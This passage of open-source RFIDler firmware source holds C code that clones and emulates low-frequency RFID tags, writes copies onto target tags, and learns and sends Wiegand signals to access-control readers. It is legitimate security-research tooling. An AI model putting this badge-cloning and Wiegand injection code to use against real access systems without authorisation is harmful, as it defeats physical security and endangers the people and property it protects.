RFIDlerVTag.TagType= tag;\n    RFIDlerVTag.BlockSize= tag_get_blocksize(tag);\n    RFIDlerVTag.DataBlocks= tag_get_datablocks(tag);\n}\n\n// create a VTAG from UID\nBOOL vtag_create_from_uid(BYTE *target_tagtype, BYTE source_tagtype, BYTE *uid)\n{\n    BYTE tag;\n    unsigned int config_block_no, user_block_no;\n\n    // set target tag type\n    if (strlen(target_tagtype) == 0)\n    {\n        if(RFIDlerVTag.TagType == TAG_TYPE_NONE)\n            tag= source_tagtype;\n        else\n            tag= RFIDlerVTag.TagType;\n    }\n    else\n        if(!(tag= tag_get_type(target_tagtype)))\n            return FALSE;\n\n    // if tag & vtag are the same, just copy\n    if(RFIDlerConfig.TagType == tag)\n    {\n        vtag_set_tag_from_type(tag);\n        RFIDlerVTag.EmulatedTagType= TAG_TYPE_NONE;\n    }\n    else\n    {\n        // otherwise, set up emulation\n        // check target is capable of emulating source\n        if(config_block(TmpBits, source_tagtype, tag))\n        {\n            vtag_set_tag_from_type(tag);\n            RFIDlerVTag.EmulatedTagType= source_tagtype;\n        }\n        else\n            return FALSE;\n    }\n\n    // create raw UID\n    if(!tag_uid_to_hex(RFIDlerVTag.UID, uid, source_tagtype))\n            return FALSE;\n\n    // get config & user data block numbers if required\n    if(config_block_number(&config_block_no, tag))\n    {\n        // get & store config block\n        if (!config_block(&RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * config_block_no)], source_tagtype, tag))\n            return FALSE;\n\n        // copy raw hex UID to data blocks\n        if(config_user_block(&user_block_no, tag))\n            tag_raw_uid_to_data(&RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * user_block_no)], RFIDlerVTag.UID, RFIDlerVTag.TagType);\n    }\n\n    return TRUE;\n}\n\n// copy real tag to vtag or set up emulation\nBOOL vtag_copy_from_tag(BYTE *tagtype, BYTE *pass)\n{\n    BYTE tmp[MAXUID + 1], tag, copy= FALSE, i;\n    unsigned int config_block_no, user_block_no;\n\n    // set target tag type\n    if (strlen(tagtype) == 0)\n    {\n        if(RFIDlerVTag.TagType == TAG_TYPE_NONE)\n            tag= RFIDlerConfig.TagType;\n        else\n            tag= RFIDlerVTag.TagType;\n    }\n    else\n        if(!(tag= tag_get_type(tagtype)))\n            return FALSE;\n    \n    // check we've got a tag to copy\n    if(!get_tag_uid(tmp))\n        return FALSE;\n\n    // set vtag to desired type\n    vtag_set_tag_from_type(tag);\n\n    // if tag & vtag are the same, just copy\n    if(RFIDlerConfig.TagType == tag)\n    {\n        RFIDlerVTag.EmulatedTagType= TAG_TYPE_NONE;\n        // auth\n        if(!tag_login(0, TmpBits, pass))\n            tag_auth(0, TmpBits, pass);\n\n        // copy UID\n        strcpy(RFIDlerVTag.UID, tmp);\n        \n        // if no data to copy, we're done.\n        if(RFIDlerVTag.DataBlocks == 0)\n            return TRUE;\n\n        // copy data blocks\n        for(i= 0 ; i < RFIDlerVTag.DataBlocks ; ++i)\n        {\n            if (!read_tag(RFIDlerVTag.Data + HEXDIGITS(i * RFIDlerVTag.BlockSize), i, i))\n                UserMessageNum(\"\\r\\n%d: (fail)\\r\\n\", i);\n            else\n                copy= TRUE;\n        }\n        return copy;\n    }\n\n    // otherwise, set up emulation\n    RFIDlerVTag.EmulatedTagType= RFIDlerConfig.TagType;\n    strcpy(RFIDlerVTag.UID, tmp);\n\n    // get config & user data block numbers\n    if(!config_block_number(&config_block_no, tag) || !config_user_block(&user_block_no, tag))\n        return FALSE;\n\n    // get & store config block\n    if (!config_block(&RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * config_block_no)], RFIDlerConfig.TagType, tag))\n        return FALSE;\n\n    // copy raw hex UID to data blocks\n    tag_raw_uid_to_data(&RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * user_block_no)], RFIDlerVTag.UID, RFIDlerVTag.TagType);\n\n    return TRUE;\n}\n\n// convert current vtag to new type\nBOOL vtag_convert(BYTE *tagtype)\n{\n    BYTE tmp[MAXUID + 1], newtag;\n\n    if(RFIDlerVTag.TagType == TAG_TYPE_NONE)\n        return FALSE;\n\n    // get current interpreted uid\n    if(RFIDlerVTag.EmulatedTagType == TAG_TYPE_NONE)\n        newtag= RFIDlerVTag.TagType;\n    else\n        newtag= RFIDlerVTag.EmulatedTagType;\n    // check UID is valid\n    if(!interpret_uid(tmp, RFIDlerVTag.UID, newtag))\n        return FALSE;\n\n    // create new VTAG from UID\n    return vtag_create_from_uid(tagtype, newtag, tmp);\n}\n\nBOOL vtag_write_to_tag(BYTE *pass)\n{\n    unsigned int block, config_block_no;\n    BYTE tmp[MAXBLOCKSIZE + 1];\n    BOOL auth= FALSE;\n    StoredConfig tmptag;\n\n    // preserve tag type\n    memcpy(&tmptag, &RFIDlerConfig, sizeof(RFIDlerConfig));\n\n    // set real tag to vtag type if not already the same\n    if(RFIDlerConfig.TagType != RFIDlerVTag.TagType)\n        if(!tag_set(RFIDlerVTag.TagType))\n        {\n            memcpy(&RFIDlerConfig, &tmptag, sizeof(RFIDlerConfig));\n            return FALSE;\n        }\n\n    // reset target tag, but don't care if we get UID as it may not be in a valid mode\n    get_tag_uid(tmp);\n\n    // re-auth\n    if(!(auth = tag_login(block, tmp, pass)))\n        auth = tag_auth(block, tmp, pass);\n\n    // initialise target in default mode\n    // get config block number\n    if(!config_block_number(&config_block_no, RFIDlerConfig.TagType))\n        return FALSE;\n\n    // don't write default config block for HiTag2\n    if (RFIDlerConfig.TagType != TAG_TYPE_HITAG2)\n    {\n\n        // get default config block data\n        tmp[HEXDIGITS(RFIDlerVTag.BlockSize)]= '\\0';\n        if (!config_block(tmp, RFIDlerConfig.TagType, RFIDlerConfig.TagType))\n        {\n            memcpy(&RFIDlerConfig, &tmptag, sizeof(RFIDlerConfig));\n            return FALSE;\n        }\n\n        // write default config\n        if(!write_tag(config_block_no, tmp, VERIFY))\n        {\n            memcpy(&RFIDlerConfig, &tmptag, sizeof(RFIDlerConfig));\n            return FALSE;\n         }\n\n        // reset tag again\n        get_tag_uid(tmp);\n    }\n    \n    // write all VTAG blocks with valid data in them\n    // but avoid writing config block until last as tag may stop responding\n    tmp[HEXDIGITS(RFIDlerVTag.BlockSize)]= '\\0';\n    for(block= 0 ; block < RFIDlerVTag.DataBlocks ; ++block)\n        if(block != config_block_no && RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * block)] &&\n                (block != 0 || RFIDlerConfig.TagType != TAG_TYPE_HITAG2))\n        {\n            // don't reauth for HiTag2\n            if (RFIDlerConfig.TagType != TAG_TYPE_HITAG2)\n            {\n                // try to login/auth in case target tag requires it\n                // don't care if we fail\n                if(!(auth= tag_login(block, tmp, pass)))\n                    auth= tag_auth(block, tmp, pass);\n            }\n            \n            memcpy(tmp, &RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * block)], HEXDIGITS(RFIDlerVTag.BlockSize));\n            UserMessageNum(\"\\r\\n%d: \", block);\n            UserMessage(\"%s\", tmp);\n            // failure allowed as we may be trying to write locked blocks\n            if(!write_tag(block, tmp, VERIFY))\n            {\n                UserMessage(\"%s\", \" Failed!\");\n                if(!auth)\n                    UserMessage(\"%s\", \" (Auth/Login)\");\n            }\n        }\n\n    // write config block (no verify as some tags stop talking after config change)\n\n    // don't reauth for HiTag2\n    if (RFIDlerConfig.TagType != TAG_TYPE_HITAG2)\n    {\n        if(!tag_login(block, tmp, pass))\n            tag_auth(block, tmp, pass);\n    }\n    \n    tmp[HEXDIGITS(RFIDlerVTag.BlockSize)]= '\\0';\n    memcpy(tmp, &RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * config_block_no)], HEXDIGITS(RFIDlerVTag.BlockSize));\n    UserMessageNum(\"\\r\\n\\r\\n%d: \", config_block_no);\n    UserMessage(\"%s\", tmp);\n    if(!write_tag(config_block_no, tmp, NO_VERIFY))\n    {\n        memcpy(&RFIDlerConfig, &tmptag, sizeof(RFIDlerConfig));\n        stop_HW_clock();\n        return FALSE;\n    }\n\n    memcpy(&RFIDlerConfig, &tmptag, sizeof(RFIDlerConfig));\n    stop_HW_clock();\n    return TRUE;\n}\n\nBOOL vtag_write_blocks(unsigned int startblock, BYTE *data)\n{\n    unsigned int user_block_no;\n\n    // check data doesn't overrun emulation tag capacity\n    if(strlen(data) * 4 > (RFIDlerVTag.DataBlocks - startblock) * RFIDlerVTag.BlockSize || startblock >= RFIDlerVTag.DataBlocks)\n        return FALSE;\n    // check data doesn't overrun emulated tag size\n    if(RFIDlerVTag.EmulatedTagType != TAG_TYPE_NONE && config_user_block(&user_block_no, RFIDlerVTag.TagType))\n        if((((strlen(data) * 4) / RFIDlerVTag.BlockSize) + startblock) - 1 > tag_get_databits(RFIDlerVTag.EmulatedTagType) / RFIDlerVTag.BlockSize)\n            return FALSE;\n    memcpy(&RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * startblock)], data, strlen(data));\n    // copy raw hex back to UID if emulating\n    if(RFIDlerVTag.EmulatedTagType != TAG_TYPE_NONE && config_user_block(&user_block_no, RFIDlerVTag.TagType))\n        memcpy(RFIDlerVTag.UID, &RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * user_block_no)], HEXDIGITS(RFIDlerVTag.BlockSize * (RFIDlerVTag.DataBlocks - user_block_no)));\n    return TRUE;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/wiegand.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"util.h\"\n#include \"wiegand.h\"\n#include \"comms.h\"\n\n// learn wiegand timings\nBOOL learn_wiegand(BYTE trigger)\n{\n    // trigger external reader (set debug pin low)\n    if(trigger)\n    {\n        switch(trigger)\n        {\n            case 1:\n                DEBUG_PIN_1= DEBUG_PIN_ON;\n                break;\n\n            case 2:\n                DEBUG_PIN_2= DEBUG_PIN_ON;\n                break;\n\n\n            case 3:\n                DEBUG_PIN_3= DEBUG_PIN_ON;\n                break;\n\n            case 4:\n                DEBUG_PIN_4= DEBUG_PIN_ON;\n                break;\n\n            default:\n                return FALSE;\n        }\n    }\n\n    RFIDlerConfig.Wiegand_IdleState= WIEGAND_IN_0;\n\n    // wait for 1st pulse\n    while(WIEGAND_IN_0 == RFIDlerConfig.Wiegand_IdleState && WIEGAND_IN_1 == RFIDlerConfig.Wiegand_IdleState)\n        if(get_user_abort())\n                return FALSE;\n\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    // start measuring pulse\n    GetTimer_us(RESET);\n\n    // store bit\n    if(WIEGAND_IN_0 != RFIDlerConfig.Wiegand_IdleState)\n        DataBuff[DataBuffCount++]= '0';\n    else\n        DataBuff[DataBuffCount++]= '1';\n\n    // wait for pulse to end\n    while(WIEGAND_IN_0 != RFIDlerConfig.Wiegand_IdleState || WIEGAND_IN_1 != RFIDlerConfig.Wiegand_IdleState)\n        if(get_user_abort())\n                return FALSE;\n\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n\n    // read pulse length and start measuring gap\n    RFIDlerConfig.Wiegand_Pulse= GetTimer_us(RESET);\n\n    // wait for next pulse\n    while(WIEGAND_IN_0 == RFIDlerConfig.Wiegand_IdleState && WIEGAND_IN_1 == RFIDlerConfig.Wiegand_IdleState)\n        if(get_user_abort())\n                return FALSE;\n\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n\n    // read gap length\n    RFIDlerConfig.Wiegand_Gap= GetTimer_us(RESET);\n\n    // store bit\n    if(WIEGAND_IN_0 != RFIDlerConfig.Wiegand_IdleState)\n        DataBuff[DataBuffCount++]= '0';\n    else\n        DataBuff[DataBuffCount++]= '1';\n\n    // wait for pulse to end\n    while(WIEGAND_IN_0 != RFIDlerConfig.Wiegand_IdleState || WIEGAND_IN_1 != RFIDlerConfig.Wiegand_IdleState)\n        if(get_user_abort())\n                return FALSE;\n\n    // read the rest of the burst\n    read_wiegand(NO_TRIGGER);\n\n    if(Interface == INTERFACE_CLI)\n    {\n        UserMessageNum(\"     Wiegand pulse width: %d\\r\\n\", RFIDlerConfig.Wiegand_Pulse);\n        UserMessageNum(\" uS                    gap: %d\\r\\n\", RFIDlerConfig.Wiegand_Gap);\n        UserMessageNum(\" uS             bit period: %d uS\\r\\n\", RFIDlerConfig.Wiegand_Pulse + RFIDlerConfig.Wiegand_Gap);\n    }\n\n    if(trigger)\n    {\n        switch(trigger)\n        {\n            case 1:\n                DEBUG_PIN_1= DEBUG_PIN_OFF;\n                break;\n\n            case 2:\n                DEBUG_PIN_2= DEBUG_PIN_OFF;\n                break;\n\n\n            case 3:\n                DEBUG_PIN_3= DEBUG_PIN_OFF;\n                break;\n\n            case 4:\n                DEBUG_PIN_4= DEBUG_PIN_OFF;\n                break;\n\n            default:\n                return FALSE;\n        }\n    }\n        \n    return TRUE;\n}\n\nBOOL read_wiegand(BYTE trigger)\n{\n    unsigned int timeout;\n\n    // trigger external reader (set debug pin low)\n    if(trigger)\n    {\n        switch(trigger)\n        {\n            case 1:\n                DEBUG_PIN_1_TOGGLE();\n                break;\n\n            case 2:\n                DEBUG_PIN_2_TOGGLE();\n                break;\n\n\n            case 3:\n                DEBUG_PIN_3_TOGGLE();\n                break;\n\n            case 4:\n                DEBUG_PIN_4_TOGGLE();\n                break;\n\n            default:\n                return FALSE;\n        }\n    }\n\n\n    timeout= (RFIDlerConfig.Wiegand_Pulse + RFIDlerConfig.Wiegand_Gap) * 2L;\n\n    // wait for the first pulse\n    DataBuff[DataBuffCount++]= read_wiegand_bit(0);\n\n    while(42)\n    {\n        DataBuff[DataBuffCount]= read_wiegand_bit(timeout);\n        if (DataBuff[DataBuffCount] == '\\0')\n            break;\n        DataBuffCount++;\n    }\n\n    if(trigger)\n    {\n        switch(trigger)\n        {\n            case 1:\n                DEBUG_PIN_1_TOGGLE();\n                break;\n\n            case 2:\n                DEBUG_PIN_2_TOGGLE();\n                break;\n\n\n            case 3:\n                DEBUG_PIN_3_TOGGLE();\n                break;\n\n            case 4:\n                DEBUG_PIN_4_TOGGLE();\n                break;\n\n            default:\n                return FALSE;\n        }\n    }\n\n    return TRUE;\n}\n\nunsigned char read_wiegand_bit(unsigned int timeout)\n{\n    unsigned int time;\n    unsigned char tmp;\n\n    // reset timer\n    GetTimer_us(RESET);\n\n    // wait for pulse or timeout if required\n    while(WIEGAND_IN_0 == RFIDlerConfig.Wiegand_IdleState && WIEGAND_IN_1 == RFIDlerConfig.Wiegand_IdleState)\n    {\n        time= GetTimer_us(NO_RESET);\n        if(timeout && time > timeout)\n            return '\\0';\n        if(get_user_abort())\n            return '\\0';\n    }\n\n    if (WIEGAND_IN_0 != RFIDlerConfig.Wiegand_IdleState)\n        tmp = '0';\n    else\n        tmp= '1';\n\n    // wait for pulse to end\n    while(WIEGAND_IN_0 != RFIDlerConfig.Wiegand_IdleState || WIEGAND_IN_1 != RFIDlerConfig.Wiegand_IdleState)\n        ;\n\n    return tmp;\n}\n\nBOOL write_wiegand(BYTE *data)\n{\n    while(*data)\n    {\n        if(!write_wiegand_bit(*data))\n            return TRUE;\n        ++data;\n    }\n\n    return FALSE;\n}\n\n// TODO: write_wiegand_uid\n// send wiegad data appropriate to the tag\n// uid is human readable HEX\nBOOL write_wiegand_uid(BYTE *uid)\n{\n    if(WiegandOutput)\n        return TRUE;\n    return TRUE;\n}\n\nBOOL write_wiegand_bit(BYTE thisbit)\n{\n    if(! RFIDlerConfig.Wiegand_Pulse || ! RFIDlerConfig.Wiegand_Gap)\n        return FALSE;\n\n    // reset timer\n    GetTimer_us(RESET);\n    \n    // send bit\n    if(thisbit == '0')\n        WIEGAND_OUT_0= !RFIDlerConfig.Wiegand_IdleState;\n    else\n        WIEGAND_OUT_1= !RFIDlerConfig.Wiegand_IdleState;\n    \n    while(GetTimer_us(NO_RESET) < RFIDlerConfig.Wiegand_Pulse)\n        ;\n    \n    WIEGAND_OUT_0= RFIDlerConfig.Wiegand_IdleState;\n    WIEGAND_OUT_1= RFIDlerConfig.Wiegand_IdleState;\n\n    // send gap\n    GetTimer_us(RESET);\n    while(GetTimer_us(NO_RESET) < RFIDlerConfig.Wiegand_Gap)\n        ;\n\n    return TRUE;\n}\n\n// simple test for wiegand pin loopback\nBOOL wiegand_test(void)\n{\n    wiegand_out_enable();\n    WIEGAND_OUT_0= LOW;\n    WIEGAND_OUT_1= HIGH;\n    if(WIEGAND_IN_0 != LOW || WIEGAND_IN_1 != HIGH)\n        return FALSE;\n\n    WIEGAND_OUT_0= HIGH;\n    WIEGAND_OUT_1= LOW;\n    if(WIEGAND_IN_0 != HIGH || WIEGAND_IN_1 != LOW)\n        return FALSE;\n\n    return TRUE;\n}\n\n\n// add HID parity to binary array: EVEN prefix for 1st half of ID, ODD suffix for 2nd half\nvoid wiegand_add_parity(unsigned char *target, unsigned char *source, unsigned char length)\n{\n    *(target++)= parity(source, EVEN, length / 2);\n    memcpy(target, source, length);\n    target += length;\n    *(target)= parity(source + length / 2, ODD, length / 2);\n}\n\n// disable wiegand output pins by setting them to inputs (needed for hardware test rig)\nvoid wiegand_out_disable(void)\n{\n    WIEGAND_OUT_0_TRIS= INPUT_PIN;\n    WIEGAND_OUT_1_TRIS= INPUT_PIN;\n    WiegandOutput= FALSE;\n}\n\n// enable wiegand output pins and set to default state\nvoid wiegand_out_enable(void)\n{\n    WIEGAND_OUT_0_TRIS= OUTPUT_PIN;\n    WIEGAND_OUT_1_TRIS= OUTPUT_PIN;\n    WIEGAND_OUT_0= WIEGAND_IN_0;\n    WIEGAND_OUT_1= WIEGAND_IN_1;\n    WiegandOutput= TRUE;\n}\n\n// enable or disable weak pullups on wiegand read pins.\n// note these may not be strong enough for some readers,\n// so external pullups may need to be used.\nvoid wiegand_set_pullups(BOOL state)\n{\n//    WIEGAND_IN_0_PULLDOWN= !state;\n//    WIEGAND_IN_1_PULLDOWN= !state;\n    WIEGAND_IN_0_PULLUP= state;\n    WIEGAND_IN_1_PULLUP= state;\n\n}\n\n// this device does not seem to support pull-downs(!)\n//// enable or disable weak pulldowns on wiegand read pins\n//void wiegand_set_pulldowns(BOOL state)\n//{\n//    WIEGAND_IN_0_PULLUP= !state;\n//    WIEGAND_IN_1_PULLUP= !state;\n//    WIEGAND_IN_0_PULLDOWN= state;\n//    WIEGAND_IN_1_PULLDOWN= state;\n//}\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/write.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"write.h\"\n#include \"hitag.h\"\n#include \"q5.h\"\n#include \"t55x7.h\"\n\nBOOL write_tag(unsigned int block, BYTE *data, BOOL verify)\n{\n    BYTE 